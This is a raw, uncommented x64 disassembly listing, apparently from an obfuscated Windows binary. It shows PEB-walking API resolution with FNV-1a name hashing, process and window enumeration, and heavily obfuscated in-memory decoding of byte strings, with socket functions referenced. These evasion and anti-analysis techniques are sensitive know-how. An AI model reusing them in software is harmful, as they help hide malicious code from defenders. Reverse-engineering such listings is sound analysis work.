jne 0x1401231c2
cmp ecx, 0xe463da3c
je 0x1401231e9
inc r9d
jmp 0x1401231ab
mov r8, qword [r9 + 0x30]
jmp 0x140123190
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140123376
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012328a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14012327c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14012326b
cmp r8d, esi
jne 0x140123359
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140123359
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140123359
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401232de
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401232d3
cmp edx, r14d
je 0x1401232f4
test r9d, r9d
jne 0x1401232be
jmp 0x140123359
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14012336f
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14012336f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140123336
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x140123328
jmp 0x14012334c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14012333f
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14012336c
cmp qword [rdi + 0x30], 0
jne 0x14012323a
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe20]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x1401234f9
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14012340d
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401233ff
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401233ee
cmp r8d, esi
jne 0x1401234dc
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401234dc
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401234dc
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140123461
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123456
cmp edx, r14d
je 0x140123477
test r9d, r9d
jne 0x140123441
jmp 0x1401234dc
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x1401234f2
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1401234f2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401234b9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401234ab
jmp 0x1401234cf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x1401234c2
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401234ef
cmp qword [rdi + 0x30], 0
jne 0x1401233bd
xor r8d, r8d
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea r8, [rbp + 0xe24]
mov edx, 0x1000
lea rcx, [rbp + 0x2490]
call sub.KERNEL32.dll_K32EnumProcesses
mov r15d, 1
test eax, eax
je 0x140123558
mov eax, dword [rbp + 0xe24]
shr eax, 2
test eax, eax
je 0x140123558
lea rbx, [rbp + 0x2490]
mov edi, eax
mov ecx, dword [rbx]
call fcn.1401a293c
lea rbx, [rbx + 4]
sub rdi, r15
jne 0x140123548
xor edx, edx
lea rcx, [0x14012d7fc]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.140103220
test al, al
jne 0x14012865c
mov byte [rbp + 0x950], 0x9b
mov byte [rbp + 0x951], 0x59
mov r12d, 0x80
mov byte [rbp + 0x952], r12b
mov byte [rbp + 0x953], 0x5b
mov byte [rbp + 0x954], 0xa0
mov byte [rbp + 0x955], 0x45
mov byte [rbp + 0x956], 0xbb
mov byte [rbp + 0x957], 0x47
mov byte [rbp + 0x958], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x959], 0x41
mov byte [rbp + 0x95a], 0xaf
mov byte [rbp + 0x95b], 0x43
mov byte [rbp + 0x95c], 0xde
mov byte [rbp + 0x95d], Ordinal_79
mov byte [rbp + 0x95e], 0xdd
mov byte [rbp + 0x95f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x960], 0xac
mov byte [rbp + 0x961], Ordinal_79
mov byte [rbp + 0x962], 0x86
mov byte [rbp + 0x963], Ordinal_79
mov byte [rbp + 0x964], 0x99
mov byte [rbp + 0x965], 0x75
mov byte [rbp + 0x966], 0x98
mov byte [rbp + 0x967], 0x77
mov byte [rbp + 0x968], __WSAFDIsSet
mov byte [rbp + 0x969], WSACleanup
mov byte [rbp + 0x96a], 0xef
mov byte [rbp + 0x96b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x96c], 0xe8
mov byte [rbp + 0x96d], 0x7d
mov byte [rbp + 0x96e], 0xe2
mov byte [rbp + 0x96f], 0x7f
mov byte [rbp + 0x970], 0x9c
mov byte [rbp + 0x971], 0x79
mov byte [rbp + 0x972], 0xbb
mov byte [rbp + 0x973], 0x7b
mov byte [rbp + 0x974], 0xf4
mov byte [rbp + 0x975], 0x65
mov byte [rbp + 0x976], 0xf6
mov byte [rbp + 0x977], 0x67
mov byte [rbp + 0x978], 0xac
mov byte [rbp + 0x979], 0x61
mov byte [rbp + 0x97a], 0x83
mov byte [rbp + 0x97b], 0x63
mov byte [rbp + 0x97c], 0xf0
mov byte [rbp + 0x97d], WSASetLastError
mov byte [rbp + 0x97e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x97f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x980], Ordinal_143
mov byte [rbp + 0x981], WSAGetLastError
mov byte [rbp + 0x982], 0xa7
mov byte [rbp + 0x983], WSASetLastError
mov byte [rbp + 0x984], 0x88
mov byte [rbp + 0x985], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x986], 0xfe
mov byte [rbp + 0x987], reloc.WS2_32.dll_socket
mov byte [rbp + 0x988], 0xfd
mov byte [rbp + 0x989], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x98a], r12b
mov byte [rbp + 0x98b], reloc.WS2_32.dll_send
mov byte [rbp + 0x98c], 0xfd
mov byte [rbp + 0x98d], Ordinal_32
mov byte [rbp + 0x98e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x98f], Ordinal_32
mov byte [rbp + 0x990], 0xfa
mov byte [rbp + 0x991], Ordinal_27
mov byte [rbp + 0x992], 0xf3
mov byte [rbp + 0x993], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x994], __WSAFDIsSet
mov byte [rbp + 0x995], 5
mov byte [rbp + 0x996], 6
mov byte [rbp + 0x997], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x998], xmm0
mov qword [rbp + 0x9a8], rax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xe2ff43c1b0c1bb8c
movabs r14, 0x289fac1d7322f8a4
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x60
jae 0x140124191
movzx r9d, byte [rbp + r11 + 0x950]
mov edx, r9d
cmp rdi, r11
ja 0x140124188
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401237f2
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
jmp 0x140123822
je 0x140124111
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401240c0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140124063
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012403d
mov r8b, bl
cmp r10, r11
ja 0x14012417f
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x140123855
movabs rbx, 0x9ef08ee37fe4627c
add rbx, r11
mov al, bl
and al, r9b
add al, al
sub bl, al
sub bl, 0x64
add bl, r9b
jmp 0x14012388c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140123ff5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140123fd2
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140123fb1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140123f8f
mov bl, r8b
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x140123bb1
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140123b8f
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140123b7b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140123b59
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140123b37
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140123b15
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140123aef
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140124166
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140124144
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401239b1
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140123ad8
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140123aaa
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140123899
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140123a96
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140123a85
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140123a63
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140123a3d
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140123a17
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401239f5
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401239d3
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x140123899
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x14012388c
movabs rcx, 0xf784771bff2313e0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x140124012
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x140124038
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14012405b
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401240b1
movabs rcx, 0x538d4a07b60e4950
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x140123f56
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140123afe
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140123c93
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r11 + 0x950], bl
jmp 0x14012413c
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140123bc7
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401240dc
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140123f56
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1401240b1
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14012405b
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140123d9d
movabs rcx, 0x89af1d39f33e9628
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140124012
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x140123c7b
lea rdx, [r11 + rsi]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x140123f2d
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x140123d5a
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, r12
jae 0x140123f02
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x140123e0e
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, dl
and al, r9b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp r10, 0x42
jb 0x140123acb
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r11
mov al, cl
and al, r9b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140124012
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140123caa
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14012412d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140123cd5
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140123f56
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140123d00
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401240ae
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140123d2b
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x140124084
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140123bd6
movabs rcx, 0x6dd559e20be47db8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140124012
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140123d85
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140124012
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140123db4
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140124038
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140123ddf
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
jmp 0x1401240b1
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140123c12
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x140123f56
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140123e2b
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140123c93
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140123e56
movabs rcx, 0x41c0c31161150108
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x1401240dc
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140123e81
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x1401240ae
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140123ea8
movabs rdx, 0x59bae11ee722dd68
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140123f23
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140123ed3
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r12b
jmp 0x14012405b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140123c49
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x140124038
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r11 + 0x950]
sub bl, al
sub bl, 0x20
add bl, dl
add bl, r9b
jmp 0x140124084
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x950]
add bl, dl
add bl, r9b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x950], al
add r10, r15
add rax, r10
sub r11, rax
jmp 0x1401240dc
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401240b1
movabs rdx, 0xb6eaacf105f23edc
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
jmp 0x140124082
movabs rdx, 0x2aed9dea42eb50ac
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140124038
movabs rcx, 0x64ef1666e167d994
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x4c
add r9b, cl
mov byte [rbp + r11 + 0x950], r9b
add r10, r15
jmp 0x14012405b
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
sub r11, r15
jmp 0x14012413c
movabs rdx, 0x86f670d5f9d6861c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x950], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14012413c
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x70
add r9b, cl
mov byte [rbp + r11 + 0x950], r9b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14012412d
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0x950]
add rax, r10
add r11, rax
add r11, r15
jmp 0x1401237b0
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x1401237ad
lea rcx, [r11 + r14]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14012379d
lea rdx, [rbp + 0x16a0b60]
jmp 0x140124198
lea rdx, [rbp + 0x6bc6ec]
jmp 0x140124198
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0x440]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
mov esi, 0x108
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x1c10]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401241cf
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1c10]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1c10]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1c10]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x850], 0x9b
mov byte [rbp + 0x851], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x852], 0x90
mov byte [rbp + 0x853], 0xdb
mov byte [rbp + 0x854], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x855], Ordinal_217
mov byte [rbp + 0x856], 0x7b
mov byte [rbp + 0x857], Ordinal_217
mov byte [rbp + 0x858], 0x43
mov byte [rbp + 0x859], Ordinal_211
mov byte [rbp + 0x85a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x85b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x85c], 0x5e
mov byte [rbp + 0x85d], Ordinal_211
mov byte [rbp + 0x85e], 0x5d
mov byte [rbp + 0x85f], Ordinal_211
mov byte [rbp + 0x860], WSASetLastError
mov byte [rbp + 0x861], 0xc9
mov byte [rbp + 0x862], 0x7a
mov byte [rbp + 0x863], 0xcb
mov byte [rbp + 0x864], Ordinal_79
mov byte [rbp + 0x865], Ordinal_200
mov byte [rbp + 0x866], 0x64
mov byte [rbp + 0x867], Ordinal_200
mov byte [rbp + 0x868], 0x54
mov byte [rbp + 0x869], 0xc1
mov byte [rbp + 0x86a], 0x5b
mov byte [rbp + 0x86b], Ordinal_200
mov byte [rbp + 0x86c], 0x9f
mov byte [rbp + 0x86d], 0x3d
mov byte [rbp + 0x86e], 0x9a
mov byte [rbp + 0x86f], 0x3f
mov byte [rbp + 0x870], 0x84
mov byte [rbp + 0x871], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x872], 0xa8
mov byte [rbp + 0x873], Ordinal_60
mov byte [rbp + 0x874], 0xad
mov byte [rbp + 0x875], gethostname
mov byte [rbp + 0x876], 0xb8
mov byte [rbp + 0x877], Ordinal_60
mov byte [rbp + 0x878], 0xad
mov byte [rbp + 0x879], Ordinal_50
mov byte [rbp + 0x87a], 0xa0
mov byte [rbp + 0x87b], gethostname
mov byte [rbp + 0x87c], 0xbf
mov byte [rbp + 0x87d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x87e], 0x78
mov byte [rbp + 0x87f], Ordinal_50
mov byte [rbp + 0x880], Ordinal_143
mov byte [rbp + 0x881], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x882], 0xb3
mov byte [rbp + 0x883], Ordinal_46
mov byte [rbp + 0x884], 0xb2
mov r14d, Ordinal_41
mov byte [rbp + 0x885], r14b
mov byte [rbp + 0x886], Ordinal_41
mov byte [rbp + 0x887], Ordinal_41
xor eax, eax
mov qword [rbp + 0x888], rax
mov dword [rbp + 0x890], eax
mov word [rbp + 0x894], ax
mov byte [rbp + 0x896], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x140124f19
movzx r8d, byte [rbp + r9 + 0x850]
mov rdx, r8
cmp rdi, r9
ja 0x140124f10
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140124419
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x140124450
je 0x140124e8d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140124e5d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140124e3b
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140124ded
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140124f07
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140124481
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1401244c2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140124ddc
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140124db9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140124d6e
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140124d48
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140124cbd
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401248b0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14012488c
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140124869
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140124855
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140124833
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14012480d
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401247ea
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401247d6
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140124ee5
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140124ebf
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140124670
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14012464a
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140124628
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401247bf
